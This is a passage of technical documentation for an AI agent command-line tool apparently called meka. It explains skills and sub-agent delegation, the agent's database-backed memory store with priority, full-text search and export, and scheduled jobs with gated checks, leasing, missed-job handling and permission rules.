Base directory for this skill and its bundled files: /home/user/.config/meka/skills/download-videos
This is what lets the agent locate files bundled alongside SKILL.md when the body refers to them by relative path (e.g. scripts/helper.sh).
A skill that declares compatibility gets a second line, since what the skill needs from its environment changes how its instructions should be carried out:
Environment this skill expects: Requires Python 3.14+ and uv
Running a Skill in a Sub-Agent
The agent can delegate a skill to a sub-agent by passing the skill parameter to the agent_spawn tool. The sub-agent runs the skill in its own fresh context and returns a report, keeping the skill’s instructions out of the parent’s conversation:
agent_spawn(skill: "summarize-financial-news")
agent_spawn(skill: "summarize-financial-news", prompt: "focus on UK markets")
prompt is optional when skill is given; if both are supplied, prompt is prepended to the skill body as extra direction (the same ordering as meka --skill <name> [prompt]).
A skill is the reusable unit of worker instruction. Sub-agents do not receive the instructions file unless the spawn call asks for it, since it describes the top-level agent rather than a delegate – so a skill is usually the better way to give a worker standing direction.
Invoking a Skill from the CLI
Any skill can be triggered directly from the command line with --skill <name>. The rendered body becomes the first user turn, and meka drops into the interactive REPL after the turn finishes:
meka --skill download-videos "https://example.com/video"
The positional [PROMPT] argument, if given, is prepended to the skill body as extra context (equivalent to typing /skill download-videos https://example.com/video in the REPL).
To run the skill and exit immediately (useful for scripts), pair with --oneshot:
meka --oneshot --skill download-videos "https://example.com/video"
To invoke a skill mid-session inside the REPL, use the slash command instead:
/skill download-videos
/skill download-videos this URL specifically
Letting the Agent Manage Skills
By default the agent can only read skills. Setting [skills] agent_managed = true additionally
registers skill_write and skill_delete, letting it create, refine, and remove skills itself:
[skills]
agent_managed = true
This is off by default because for an ordinary terminal session you author and curate skills, and an agent rewriting that store is not something you asked for. It earns its keep in the opposite deployment: a long-running agent acting as a dispatcher over a team of sub-agents. A skill is the only thing in meka that both outlives the session and can be handed to a sub-agent as its task, so writing one is how such an agent gets a refined worker brief to the next worker without routing the whole text through its own context window.
skill_write(name: "triage-build-failure",
description: "How to triage a failing CI build",
priority: 2,
body: "1. Fetch the log...")
agent_spawn(skill: "triage-build-failure")
Notes on how it behaves:
- Both tools run at read permission, like
memory_write. They write to meka’s own config directory rather than to your working tree, and the deployment they exist for typically runs at read permission permanently. The config flag is the authorization, not the permission tier. - Sub-agents never get them, whatever this setting says. A worker that inferred something from one narrow task should not rewrite the instructions its siblings run on.
- Writing to an existing name updates it. Omitting
bodykeeps whatever the skill already documented, so a call that only changes the description or priority does not erase the procedure. Note thatmeka skill add --forceis a replace, not an update: it rewritesSKILL.mdfrom the template and removes any bundled files alongside it. The newSKILL.mdis written first, so a failure to clear a bundled file leaves the skill intact and says which files it could not remove. - Skills the agent creates are stamped
metadata.author: meka (agent-authored), someka skill listshows where an entry came from. An existingauthoris kept, so an agent refining a skill you wrote does not reassign it to itself. Informational, not a guard. - Every other frontmatter key survives a rewrite, including
license,compatibilityand anymetadatakey meka has no meaning for, with its YAML type intact, so ametadatalist stays a list. An agent asked to sharpen an imported skill’s description changes the description and nothing else. - The confirmation reports the rank the file ended up with, not the one the call asked for. The
two differ only when the skill’s
metadata:is not a map, which meka will not overwrite; the tool says so rather than claiming a change that did not happen. - A file that exists at that name but is not a valid skill is refused, not overwritten. Such a file is invisible everywhere else in meka, so nothing could tell you what was about to be lost.
- A skill from a read-only
extra_pathsroot is refused by both tools, since writing would shadow it rather than change it. - A hand-written skill in meka’s own store is not protected from being rewritten. The flag being off by default, and your config directory being in version control, is the safety net for that case.
skill_deleteremoves the whole skill directory, including any bundled files, matchingmeka skill remove.
Tips
- Use short, unambiguous skill names (e.g.
setup-postgres, notpg). The name is what the agent sees and calls, and the spec allows only lowercase alphanumerics and hyphens. - Anything meka lists, meka can remove, and so is almost anything it refuses to load. A name the spec forbids (
My_Skill,two words,not.a.skill) is skipped with the reason named, andmeka skill removestill takes it so you can clean up. The one exception is a name meka cannot render, which no command can address; rename it in a shell. One Windows reserves, likecon, loads normally: that is meka’s own write-time rule, not the spec’s. - Every write door applies the same rules.
meka skill add,skill_writeandPUT /v1/skills/{name}all refuse a name or a description the spec rejects, and refuse a skill whosenameis missing or disagrees with its directory, so a skill meka authors passesskills-ref validate.--from-filecopies your bytes verbatim, so it can still carry a key the spec does not define – that is how an imported skill keeps itswhen_to_use– but it must still declare the requiredname. Runuvx skills-ref validate <dir>when you want the reference’s own verdict on a file. - Write
descriptionconcisely, and fold the “use when…” trigger into it. It is sent to the model and consumes tokens. - Keep each skill focused on a single topic or procedure. Spawn multiple skills rather than one giant one.
- Bundle supporting files in the skill directory and reference them by relative path (
scripts/file.ext). - Skills are re-discovered on every prompt, so you can add, edit, or remove skills mid-session without restarting meka.
Memory
Memory is the agent’s own set of durable notes. It writes them itself, they survive compaction, and they outlive any single session.
Without it, an agent’s only state is its context window. When a long session compacts, detail is summarised away; conversation_search can still search the message log, but only for something you remember to look for. Memory is the deliberate half: a fact the agent decided was worth keeping, in a place it will always see.
How memory works
- Memories are rows in the
memoriestable of meka’s database (~/.local/share/meka/meka.db, orMEKA_DATA_DIR), one row per memory. - The store is scoped to the meka instance, not to a session or a directory. Everything sharing a
MEKA_DATA_DIRshares one memory; pointing a deployment at its own data dir gives it its own. - On every prompt, meka lists each memory’s
descriptionin the per-turn context. Bodies are not loaded automatically; the agent callsmemory_readwhen a description suggests it needs the detail. - The index is re-stated in full at the start of a session, after every compaction, and whenever it scrolls out of the context window. This is what makes memory survive compaction.
- Memories are available in every permission mode except none; all four memory tools ask only for read. Writing a memory therefore needs no write authority over your files, and
workspace’s boundary does not apply to it: the store belongs to meka, not to your working tree.
Memories live in
MEKA_DATA_DIR, alongside sessions, rather than in the config directory. A backup of your config directory does not capture them;meka memory exportis what does.
Fields
| Field | Meaning |
|---|---|
name | Unique identifier, [A-Za-z0-9_-]. Case-insensitive: NOTE and note are one memory. |
description | One line, shown in every session’s index. Make it stand on its own. |
priority | 0–9, default 5. See Priority. |
tags | Lowercase labels ([a-z0-9-], at most 10) for grouping and filtering. |
body | Detail, loaded on demand by memory_read. |
recorded | When the memory was made. Stamped once, at creation. |
updated | When the row last changed. |
read count | How many times memory_read has opened it. Feeds search ranking. Only memory_read increments it: a search hit is weaker evidence, and reading through the CLI or the HTTP API is the operator rather than the agent. |
recorded versus updated
These answer different questions, and conflating them was a bug. A memory_write that changes only a description or a priority moves updated, and reading that as the observation date made a years-old note render as “today”, sort to the top of its priority band, and arrive through memory_read captioned “Saved today. This is what you recorded then”.
recorded is stamped once, when the memory is created, and carried forward untouched by every later write. It is what the index renders as an age, what ties are broken by, and what freshness weighting reads. updated is reported by meka memory get and the HTTP API and takes no part in ordering or ranking.
The rule is enforced by the INSERT ... ON CONFLICT DO UPDATE statement itself, which never assigns recorded_at on the update path, rather than by each write door remembering to preserve it.
Omitting a field keeps what is there
memory_write’s body, tags and priority are all optional, and omitting any of them keeps whatever the memory already had. That makes a metadata-only update – a reworded description, say – a single call that cannot cost the note its contents, its labels or its rank. To clear the first two, pass "" and [] explicitly.
PUT /v1/memory/{name} and meka memory add <name> --force follow the same rule.
Priority
Lower means more important (the same direction as nice, the opposite of CSS z-index). Priority decides two things: where a memory sits in the index, and which memories survive when the index hits its size budget.
| Range | Use for |
|---|---|
| 0–1 | Standing directives that always apply |
| 2–4 | Durable facts |
| 5 | Default |
| 6–9 | Situational or short-lived notes |
Within one priority band, the most recently recorded memory sorts first – so a fresh note never displaces a standing rule just for being new.
Because the agent picks a priority at write time and everything feels important then, priorities tend to drift downward over a long-lived instance. meka memory list prints the distribution so you can see that happening and rebalance. Search ranking compensates for the same drift from the other side: see Search.
Priority 0 is the always-in-context tier. A priority-0 memory has its body rendered into the per-turn context in full, not just its description, because for a standing directive the body is the directive and leaving it behind a tool call means the agent has to look the rule up before it can follow it. The band is budgeted separately from the index (4 KiB in total, 1,024 characters per memory) so a long directive cannot crowd out the index and the index cannot crowd out the directives. Priority 1 is still “standing” for ranking purposes, but is listed by description like everything else.
Priority 0 is not a promise of unlimited space. A memory the 4 KiB band cannot fit falls through to the index below, and on a large store the index has its own ceiling to ration, so past a few dozen standing memories some of them fit nowhere. The section says so explicitly when it happens, naming how many are listed by description and how many were left out entirely, because a standing rule the agent never sees is one it is being held to and cannot read. If you see that line, either raise those notes’ importance relative to the rest of the store or trim the tier: a hundred always-apply rules is not an always-apply tier.
The index budget
The index is capped at 8 KiB and 200 entries. When more memories exist than fit, the section ends with a line stating how many were left out, and, when they carry tags, what they are about:
4910 more memories not shown here, most common tags infra (820), people (611),
decisions (405) — use `memory_search` to find them.
A bare count is not a usable signal once it runs to thousands: it says something is missing without saying what. The tag distribution is something the agent can turn into a query, which is most of what tags are for.
Nothing is lost. memory_search covers the whole store, including the entries the index omitted.
Search
memory_search is the primary way to reach a store larger than the index can show. It is backed by a SQLite FTS5 index over the same table.
Ranking combines three things, so the result is what you probably meant rather than merely what matched:
- relevance – BM25, weighting a hit on the name above the description, and the description above the body.
- importance – the declared priority, blended with how often you have actually read the memory. A memory opened forty times is important whatever it was labelled two years ago, which is the counterweight to priority drift.
- freshness – a gentle decay on
recorded, disabled entirely for priority 0–1. A two-year-old standing rule is exactly as binding as a new one; a two-year-old situational note probably is not.
Fuzzy matching works in four senses, and the result says which one answered so a guess is not mistaken for a recalled fact:
| Kind | Example | How |
|---|---|---|
| Word endings | preference finds prefers | Porter stemmer, always on |
| Typos and truncation | Tokoy, Tok | Retried as a prefix match, then by spelling distance |
| Word beginnings | deployment finds deploy | The prefix retry also works the other way |
| Unsegmented text | 深圳 inside 办公室在深圳南山区 | Retried as a literal substring |
| Different wording | verbosity for terse | Pass several phrasings in queries |
The second and third rows are the two the stemmer alone does not cover. SQLite’s Porter strips inflections (deploys, shipping, running) but not every derivation: deployment does not stem to deploy, so a search for it used to miss a memory whose body says Deploys. The prefix retry therefore runs in both directions – shortening the query as well as matching the start of the stored word – and says it was a prefix match either way.
The fourth row is why word-splitting is not the whole story. The tokenizer divides on non-alphanumerics, so Chinese, Japanese and Thai prose – and a long identifier, path or URL – arrive as a single token that only matches in full. When nothing else answers, meka scans for the query as plain text instead, and says that is what it did.
The last row is the important one: queries is a list, and supplying synonyms costs nothing. ["terse", "brevity", "verbosity"] in one call finds a memory that used any of them, which is the answer to “the agent has to guess the words it used months ago” – it does not have to guess right, only to guess several times.
Results carry enough to act on without a follow-up read: name, priority, age, read count, description, and the body itself when it is short.
The search index
The FTS index is an external-content table over memories, kept in step by three triggers. It is derived and disposable even though the memories themselves are not:
meka memory verify # check the index
meka memory verify --rebuild # regenerate it from the table
verify checks two things: that the index is structurally sound, and that it holds exactly as many documents as the store does. It deliberately does not claim more. FTS5’s own integrity-check does not compare an external-content index against its content table, so a memory whose text changed while a trigger was not firing leaves both checks happy – only searching for the new wording reveals it. If search is missing something you know is there, rebuild; it is one pass over the table and cannot lose a memory, because the index is derived.
Agent tools
| Tool | Purpose |
|---|---|
memory_write | Save a memory, or update one by writing to the same name |
memory_read | Load one memory’s body in full |
memory_search | Ranked full-text search over every memory |
memory_delete | Remove a memory permanently |
memory_read states how old the memory is and notes that it is a point-in-time observation. A memory recorded months ago is not live state, and an old note asserted as current fact is the failure this guards against. It is also the only thing that increments the read count: a search hit is weaker evidence, and an operator reading through the HTTP API is not the agent recalling anything.
memory_write also names an existing memory whose description says close to the same thing, when there is one:
Saved memory 'alice-tz' (priority 5). It is in your memory store from the next
turn on, and memory_search will find it whatever the index has room to list.
Note: 'alice-timezone' already says something very similar. If this is the same
fact, call memory_write on 'alice-timezone' instead and delete 'alice-tz' -- two
near-copies both stay in the index for ever and neither supersedes the other.
This never blocks the write. The failure worth preventing is the silent one, where a store grows a hundred near-copies because nothing ever mentioned the ninety-nine.
What not to save
Memory is for what is not derivable from the material at hand. Code structure, git history, and file contents are all reachable with search_contents, read_file, and execute_command, so recording them produces stale duplicates of things the agent could just look up.
What belongs in memory: who someone is and how they prefer to work, guidance you have given that should not need repeating, decisions and their reasons, and pointers to where information lives in external systems.
CLI
meka memory list # index order, plus the priority distribution
meka memory get k4yt3x-prefers-terse-replies # every stored field
meka memory show k4yt3x-prefers-terse-replies # the body
meka memory add tz --description "K4YT3X is in UTC+8" --priority 2 --tag people
meka memory add tz --force --description "K4YT3X is in UTC+9" # keeps body, tags, priority
meka memory edit stale-note # $EDITOR on the body
meka memory remove stale-note
meka memory export --dir ~/backup/memory # one Markdown file per memory
In the REPL, /memory lists what is saved and /memory <name> prints one memory’s body. The listing is the table alone; the priority distribution is reserved for meka memory list, where you have gone looking for it.
meka memory edit opens the body only. Metadata goes through meka memory add <name> --force --description ..., which keeps whatever it does not mention.
Export, backup, and git
meka memory export writes one <name>.md per memory: YAML frontmatter carrying description, priority, recorded, tags and read_count, followed by the body. That is the grep, git and backup answer now that the store is a database.
read_count is there because it is the one value a file cannot otherwise reconstruct. Descriptions, bodies and dates are all in the note; how often the agent has actually opened it is not, and a restored backup with every counter at zero would silently lose each memory’s accumulated ranking weight.
meka memory export --dir ~/notes/memory # must be new or empty
The directory must be new or empty. An export is a snapshot, and merging into an existing one would leave a stale file behind for every memory deleted since, so it would never quite match the store. An export that fails partway removes what it had written rather than leaving a truncated snapshot, which would otherwise restore as a plausible fraction of your store.
The export directory is created at mode 0700 and each file at 0600, and an existing empty directory is tightened to 0700. A memory body is a private note and the database it came from is 0600; publishing the same text world-readable because that is what the umask said would be a strange way to take a backup.
What lands on disk is byte-exact: bodies, tags, priorities and recorded dates are written exactly as stored, including zero-width joiners, CRLF line endings and leading or trailing blank lines. read_count rides along too, because it is the one value the rest of the file cannot reconstruct.
Descriptions are the one field normalised rather than preserved: every write door collapses a description to a single line before storing it, so what comes back is what was stored. A description made only of characters YAML cannot carry has no such form, and meka memory export refuses the whole run and names it rather than writing a file whose frontmatter would not parse.
An export reads back with any tool that understands YAML frontmatter; meka itself has no import command, because a store you can rebuild from a directory is a second source of truth and this subsystem deliberately has one.
Coming from a file-backed store
Memories used to be Markdown files in <config>/memory/. If you are upgrading from 0.41, the one-shot migration script attached to the 0.42 release imports them into the database; run it once, check meka memory list, then remove the directory yourself. meka never reads those files again. What it brings forward on its own is the database; a directory of files you still have is yours to import when you get to it, and importing it twice is not something a startup pass could ask you about.
Configuration
Memory is on by default. To turn it off:
[memory]
enabled = false
Disabling it keeps the four memory_* tool schemas out of every request and renders no memory section, which is worth doing if you run lean sessions that will never use it. Memories already stored are left alone, and both the meka memory subcommands and the /v1/memory endpoints still reach them: whether an agent keeps memories is a different question from whether you can inspect or back up what is already there.
There is deliberately no environment variable and no CLI flag: whether an agent keeps memories is a property of the installation, not something to vary per run.
Scheduling
Scheduling lets the agent arrange its own future turns. Without it, meka only ever acts when something outside it asks: a human typing, an editor sending a prompt, a client calling the HTTP API. A scheduled job is the one trigger nothing else supplies, which is what makes meka usable as a daemon or a standing assistant rather than a tool you drive.
The agent creates jobs itself through the schedule_create tool, so scheduling is usually a
conversation:
You: remind me in 20 minutes to check the deploy
meka: Created job
7f3a1b2c(once at 2026-08-11 15:22 CEST). I’ll remind you then.
What a job is
A job pairs a schedule with a prompt. When it fires, the prompt is delivered as a turn.
| Schedule | Meaning | Example |
|---|---|---|
at | Fire once, then delete itself | 20m, 2h, 2026-08-12T09:00:00Z |
every | Fire on a fixed interval | 30m, 1h, 1d |
cron | Fire on a 5-field cron expression, in local time | 0 9 * * 1-5 |
Durations use the same syntax as config.toml, so every = "30m" means what
[serve] idle_timeout = "30m" means. Two things to know about it: m is minutes and M is
months, and decimals work (1.5h and 1h 30m are the same duration).
Cron expressions have no seconds field, and follow standard Vixie semantics: when both
day-of-month and day-of-week are set, the job fires when either matches, not both. A six-field
expression is rejected rather than read as Quartz, where */10 * * * * * would mean every ten
seconds instead of the every-ten-minutes it looks like.
A pattern that matches no calendar date (0 0 30 2 *) is rejected when the job is created. One whose
next occurrence is far off is not: 0 0 29 2 * waits up to four years for the next February 29th and
stays on the books until then.
Gates: watching something without burning tokens
A plain recurring job spends a full model turn on every fire, whether or not anything happened. Checking something every 15 minutes is roughly a hundred turns a day to say “nothing new” ninety-odd times.
A gate is a cheap check run before the turn. Only if it says something happened does the turn occur. The interval then costs a tool call or a process spawn instead of a model call, which is what makes a short cadence reasonable.
A gate has two halves. check is what to run, and when is what counts as “something happened”:
schedule_create(
every: "30s",
gate: {
check: { command: "gh pr checks 123 --json state -q '.[].state' | sort -u" },
when: "changed"
},
prompt: "CI state for PR 123 changed. Investigate and report."
)
What a gate can check
check | Runs | Needs |
|---|---|---|
{ command: "..." } | a shell command, unsandboxed | unrestricted |
{ tool: "name", arguments: {...} } | a tool call, by the name the model uses | read, and the tool must resolve to read |
A tool gate is the one to reach for when a tool exists for the job. It is available at a far lower
permission, because a structured call to a server you configured is not a shell, and it returns
structured data that when.at can point into:
schedule_create(
every: "1m",
gate: {
check: { tool: "mcp__mekabridge__unseen", arguments: {} },
when: { at: "/chats", is: "not-empty" }
},
prompt: "There are unseen chats. Read them and reply if anything needs an answer."
)
A gate may only call a tool that resolves to read. A gate asks a question; a tool that can act
is not one. This is checked when the job is created and again every time it fires, so a tool that
resolves higher after an operator retunes it stops being a gate rather than
carrying on with authority nobody granted it.
When a gate fires
when | Fires when |
|---|---|
"changed" (default) | the whole result differs from the previous evaluation |
"succeeded" | the command exits 0, or the tool call did not return an error |
{ matches: "<regex>" } | the result matches the pattern |
{ at: "<json pointer>", is: "not-empty" | "empty" | "changed" } | the pointed-at value satisfies the test |
One trap in the "succeeded" row: most MCP tools never set an error, so it is true on every
evaluation and the job fires every interval. It earns its place on a shell gate, where the exit
code is a real signal. For a tool, reach for at instead.
The gate’s output is passed into the turn it triggers, so the model does not re-run the check the
gate just ran. A pointer narrows what is judged, not what the model is told: the turn still sees
the whole result, because the surrounding fields are usually what makes the fire worth reading. The
turn sees at most 8 KiB of it, and at will read a document up to a megabyte; past that there is
nothing for a pointer to point into and the gate reports that the probe did not return JSON. A gate
should be reading a status, not a payload.
The two shapes that compare against the previous evaluation – "changed", and at with
is: "changed" – always fire the first time: with nothing to compare against, “changed” is the
honest answer, and it means a typo surfaces immediately instead of lying quiet. The others judge the
result on its own, so a first evaluation is no different from any other: "succeeded" on a command
that exits non-zero does not fire, and neither does a matches whose pattern is absent.
changed is only as good as the stability of the result. The check should produce something
that changes when, and only when, the watched thing does, which is a stronger requirement than
“read-only” and is where most gates go wrong. It fails in both directions. A result carrying
something that moves on its own (a timestamp, an elapsed time, a request id, an unsorted list whose
order varies) differs on every evaluation, so the gate fires every tick and costs more than the
ungated job it replaced. A result that can return to an earlier value between polls (a bare count,
where two events arrive and one is consumed) reads as unchanged, and the gate silently misses what
happened in between.
This is the reason at exists. Almost any JSON result carries a field that moves on its own, so
"changed" over the whole of it is usually wrong; { at: "/chats", is: "changed" } watches the one
field you mean and ignores the checked_at beside it. For a shell gate, pairing a count with a
monotonic marker (git rev-list --count HEAD alongside the commit sha) does the same job.
A shell gate needs
unrestrictedpermission. It runs unattended, on a timer, until someone cancels it: a longer-lived grant thanexecute_command, which at least ends with the turn that called it. It also runs with no sandbox, soworkspacecannot authorise one – a level whose whole meaning is a write boundary must not hand out a command that has none. A tool gate is not held to this:readcarries it, provided the tool resolves toreadas well. Ungated reminders work atread.
execute_commandis a tool, and that is a door. Where a sandbox backend is usable it resolves toread, socheck: { tool: "execute_command", arguments: { command: "..." } }is a legitimate tool gate atread– an arbitrary command, on a timer, from a session that could not have authorised the shell form. What makes that acceptable is that the two are not the same thing: a gate dispatches atread, which is the levelConfinement::resolvesandboxes, so the command runs read-only-confined rather than as the baresh -cacommandgate would be. Where no sandbox is available the same tool resolves abovereadand the gate is refused instead, so “admitted” and “confined” cannot come apart. The confinement blocks writes, not the network: treat such a gate as something that can read this machine and talk to the internet, unattended, for as long as the job exists.
A gate that cannot run at all – it times out, the shell fails to start it, or its MCP server is not connected – is not treated as “nothing happened”. It is logged as a warning and the occurrence is declined, because a watcher whose check broke otherwise looks exactly like a healthy watcher with nothing to report. The marker that tells the agent about it needs two consecutive failures, and those are now an occurrence or a lease apart rather than a poll interval, so a standing breakage takes two periods to be reported rather than twenty seconds. That is the price of not re-running a broken check at tick cadence.
Declined means spent, exactly as it does for a gate that ran and said no. A recurring job moves to
its next occurrence, so a six-hour job whose server is down is probed once every six hours rather
than on every poll tick. A one-shot has no next occurrence to move to, so it keeps its claim instead
and the retry waits out [schedule] claim_lease (an hour by default) – long enough that a server
restarting near the job’s due time does not cost the reminder, and bounded, because each of those
retries counts against the ceiling below. Either way the gate’s stored baseline is left alone, so
when the check starts working again it compares against the last value actually observed and reports
the change that happened while it was broken.
A non-zero exit code is different, and only succeeded reads it as failure: for a large class
of good gates it is the signal. diff -q a b and git diff --exit-code exit 1 exactly when there
is a difference; grep ERROR log exits 1 through the entire quiet period it is watching; curl -f
exits non-zero until the endpoint returns. Every other predicate judges the output and logs the exit
code at debug level, so -vv will show you a command that is failing when you suspect one, without
a warning on every tick of the many gates for which a non-zero exit is the normal state.
Where jobs run
Jobs belong to the session that created them, and only fire while that session is live in some meka process. That makes the two hosts behave differently, and the difference is worth knowing before you rely on one:
| Host | Fires | Notes |
|---|---|---|
meka serve | Every job, except on a session another process has locked | Revives evicted sessions on demand. The durable path. |
| REPL | Only jobs for the session it has open | Best-effort; a job goes dormant if you next start a different session |
| ACP | Only jobs for sessions the editor has open | The prompt appears in the transcript as the turn that triggered the reply |
--oneshot | Never | The process exits; jobs stay on disk for a later run |
If you want a job to fire reliably whether or not you are sitting at a terminal, run meka serve.
In the REPL, a job created in one session resumes only when that session does; meka --continue
picks up where you left off.
Jobs all live in the same database, so a host that does not fire a job has not lost it. A job whose
session nobody has open simply waits, and fires as soon as something that can run it picks it up:
another host, or a meka serve daemon pointed at the same data directory.
A job’s turn always joins the session that owns it, on every host. If what you want instead is a
recurring turn that carries no conversation at all, that is an external timer’s job rather than a
scheduled one: systemd, cron or Task Scheduler invoking meka --oneshot, with the level and the
profile stated outright rather than inherited from a session.
meka --oneshot --permission read --provider work "summarise today's alerts"
Claiming an occurrence
A due job is leased before it runs: the host records itself and an expiry on the row, delivers the turn, and then advances the schedule (or retires a one-shot). Three consequences worth knowing:
- A crash costs a retry, not the job. The row is untouched until the turn is delivered, so a host that dies mid-delivery leaves a lease that expires and the next host takes the occurrence. Before this a claim consumed the row, and a crash lost the occurrence outright – for a one-shot, the whole reminder, with nothing anywhere to recover it from.
- A cancellation always wins. Cancelling deletes the row unconditionally; a host handing an occurrence back only releases its own lease, so a cancel issued while a gate is running cannot be undone by the handback.
- A job that keeps failing to be delivered is parked. Claims that end in neither a delivery nor
a handback are counted, and after three the job stops being retried. Two things reach that count:
a host that dies or panics mid-delivery, and a one-shot whose gate probe cannot be evaluated.
Both leave their claim to expire rather than giving it back, so those three attempts are a lease
apart rather than a tick apart: three panics in half a minute would otherwise park a job whose
only problem was a blip, and nothing retires a parked recurring job afterwards. The
job is not deleted: it stays listed, cancellable, and marked as held with the reason, because a
prompt that crashes meka is something to look at rather than something to throw away. Recreate it,
or cancel it. A host that simply declines a job it cannot take –
meka servefinding the session locked by a REPL – does not count, since that says nothing about the job.
[schedule] claim_lease (default "1h") is how long a lease is good for, and therefore how long a
crashed host’s occurrence waits before another host takes it. It should exceed a gate probe plus a
turn: a lease that expires under a host still working lets a second host take the same occurrence,
and although the session lock stops that becoming a second turn, the occurrence still makes a round
trip and the gate probe runs again. A host refuses to start on a claim_lease at or under
gate_timeout, since that half is checkable; the turn after the probe is unbounded, so leave real
headroom on top rather than treating that check as the whole answer.
Two hosts sharing a session do not fight over its jobs. A session is held by one process at a time,
and meka serve leaves that session’s jobs to whoever holds it rather than reaching for them and
handing the occurrence back afterwards – which matters most for a gated job, since deciding late
would mean running its probe on every tick.
More than one host on the same database
Several meka processes pointed at one data directory – two meka serve instances, or a daemon and
a terminal – all poll the same table, so the same occurrence appears in several due lists at once.
Each occurrence is nevertheless run once. A host takes it by leasing it in a single conditional
write – recording itself and an expiry on a row that no other host currently holds – and the hosts
that lose that write stop before evaluating the gate: no duplicate probe and no duplicate turn.
Which host wins is a race between their tickers and is not something you can pin down; that only
one wins is.
Under ACP the editor is a live client, which changes one thing: ask-mode approvals genuinely
round-trip, so a scheduled job can prompt you in the editor rather than being denied for want of
anybody to ask. Stopping a scheduled turn works the same as stopping any other.
When a job fires at an idle REPL prompt, the turn interrupts the prompt and runs exactly like one you typed: output streams, Ctrl+C interrupts it, and anything you had half-typed is handed back afterwards.
Restarts and missed jobs
Jobs live in meka’s database, so restarting the process (or the meka serve systemd unit) does not
lose them. What happens to jobs whose time passed while meka was down depends on the kind:
- Recurring jobs fire once and resume. A 30-second job that was down for six hours has 720 missed occurrences; it produces exactly one turn, which is told how many it stands in for. It is then rescheduled from now, so an outage never turns into a burst.
- One-shot jobs fire if they are still relevant. Past
[schedule] missed_grace(24 hours by default) they are dropped instead. A reminder to join a standup, delivered five days late, is noise. One that does fire is told how late it is, so the agent can judge whether it still matters.
That collapsing is per job. A session with several jobs all due at once still wakes to a turn each,
and a sweep runs at most [schedule] max_consecutive_fires (5 by default) of any one session’s
jobs before moving on. The rest keep their occurrence and their gate baseline and are taken by the
next sweep, most-overdue first, so nothing is lost and nothing starves. A job held over runs no gate,
so holding one over is nearly free – the sweep still evaluates whether the job is one it can run.
What this does and does not do. It bounds a batch, not a total: forty due jobs still produce
forty turns, and they are not spaced out – a sweep that ran long leaves the next one already due.
What changes is that they arrive in groups of five, so under meka serve another session’s single
due job is reached after five of the first session’s rather than after all forty.
If you want a large backlog not to land at all, that is not what this setting is for. Cancel the
jobs (meka schedule list, then meka schedule cancel <id>) before starting a host that will fire
them, or leave [schedule] enabled = false while you clear it.
A recurring job that fires and then fails – most often because the provider is unreachable –
leaves nothing behind in the conversation: its prompt is withdrawn, because the job produces it again
on the next occurrence. Without that, an outage would deposit one unanswered message per fire for as
long as it lasted. A one-shot keeps its prompt, because nothing will produce it again: its row
is retired as soon as the turn is delivered, so that message is the last trace the reminder ever
fired. A turn that got as far as running a tool keeps everything either way, since there is real work behind
it. Failures are recorded regardless: meka serve logs them and sends a schedule.fired webhook
with status: "failed".
Unattended turns and permissions
Under meka serve a scheduled turn has no human on the other end, so in ask permission mode every
approval resolves to deny and the job fails to do whatever needed approval. The denial appears in
the session transcript rather than anywhere louder, so a job in ask mode that seems to do nothing
is worth checking there first.
The REPL and ACP both have someone attached, so approvals reach them normally.
A job’s turn runs at whatever permission the session holds when it fires, not at the level the
job was created with: the level lives on the session and the session is mutable, through Shift+Tab in
the REPL or PATCH /v1/sessions/{id} under serve.
With one floor: a session at none fires nothing, gated or not. Nothing is executable there, so the
turn would read nothing, change nothing, and could not even reach schedule_cancel to stop itself
being woken again. The agent can see the job – a tool’s registration does not depend on the
permission level, so [Scheduled] still lists it and schedule_cancel is still offered – but every
call is refused at dispatch, which leaves it able to describe the problem and unable to fix it. An
every = "5s" reminder on such a session was a turn’s worth of tokens every five seconds with no
in-session way to stop it. Raise the session to restore the job; it is declined, not cancelled, and a
one-shot that came due while the session was down there is kept rather than spent.
A job’s gate is the exception, because it runs unattended. Its bar is re-checked from two places
every time the job comes due: the level recorded on the job when it was authored, and the level the
session holds now. What that bar is depends on what the gate runs – unrestricted for a shell
command, read for a tool call – and for a tool gate the tool’s own resolved level is looked up
again too, so retuning a tool’s level takes effect on the next fire rather than whenever the job
is next rewritten. That level comes from [tools.tool_permissions] for a built-in, and for an MCP tool from the
five-step chain in Permission resolution: the
server’s tool_permissions, its permission, the tool’s readOnlyHint, [mcp] default_permission,
then unrestricted. Step four is worth knowing about here: one global line turns every unannotated
tool on every server into a read probe a gate may call. And readOnlyHint is asserted by the
server and not verified by meka, which is a weaker footing under a gate than under a call in
conversation, because nobody reads the result of a gate.
That second level is the session’s own, recorded on its row and kept current by whichever surface
owns it – Shift+Tab and /permission in the REPL, session/set_mode under ACP, PATCH /v1/sessions/{id} under serve. Every process that polls the schedule reads the same row, so
withdrawing the level works across processes: a meka serve daemon sharing the data directory will
refuse a gate you just dropped in a REPL. A session whose row carries no level at all falls back to
the polling process’s own --permission. That is an ACP session that has never had
session/set_mode called on it, since session/new records no level; every other surface records
one when the session is created.
Drop the session below what the gate needs and the gate stops running – and with it the job, because a gate is the condition on the job and an unevaluated condition has not been met. The occurrence is declined, and a warning is logged naming the job. Raise the session back to restore it. Unlike a gate that ran and said “nothing happened”, a held gate was never evaluated at all, so a one-shot that came due while it was held is kept rather than spent.
The agent is told too, not just the log. A job that cannot currently fire is marked in the
[Scheduled] block it sees every turn and in schedule_list, as NOT FIRING: <reason>, with the
same sentence the warning carries; the moment a gate is withdrawn or restored is announced as a
world change. This matters because the two states are otherwise identical from the agent’s side: a
held job and a healthy watcher with nothing to report both simply never fire. It can act on the
difference, since schedule_cancel needs only read.
A gate whose probe keeps breaking is marked the same way, after two consecutive failures. A server
that changed its schema, a command that was uninstalled, a pointer into a result that stopped being
JSON: each errors on every evaluation, and each is a dead watcher that looks exactly like a quiet
one. The first failure is deliberately not reported, because one failure is as often a blip as a
break. This one is tracked in memory rather than on the row, so it is known to the process running
the job: a restart re-establishes it within two poll intervals, and meka schedule list, which is a
separate process, does not see it.
Four surfaces report it, and each says only what it can establish:
-
[Scheduled]andschedule_listcarry the full sentence, since the agent is the one that can recreate or cancel the job. -
/schedulehas aHeldcolumn:yeswhen the job cannot fire, blank when it can, and?when this process cannot establish the answer. Blank means “it will fire”, not “I did not check”. It runs inside a host and uses its MCP manager, so it resolves tool gates; it shows?for a job whose session level it could not read, since that is unestablished rather than fine. -
meka schedule showspells the same verdict out on awithheld:line. It is a separate process from any host and so cannot resolve a tool gate, reporting that as unknown rather than as fine.meka schedule listdoes not carry it at all: a column that is blank on almost every row is a poor use of a table this wide.Both apply
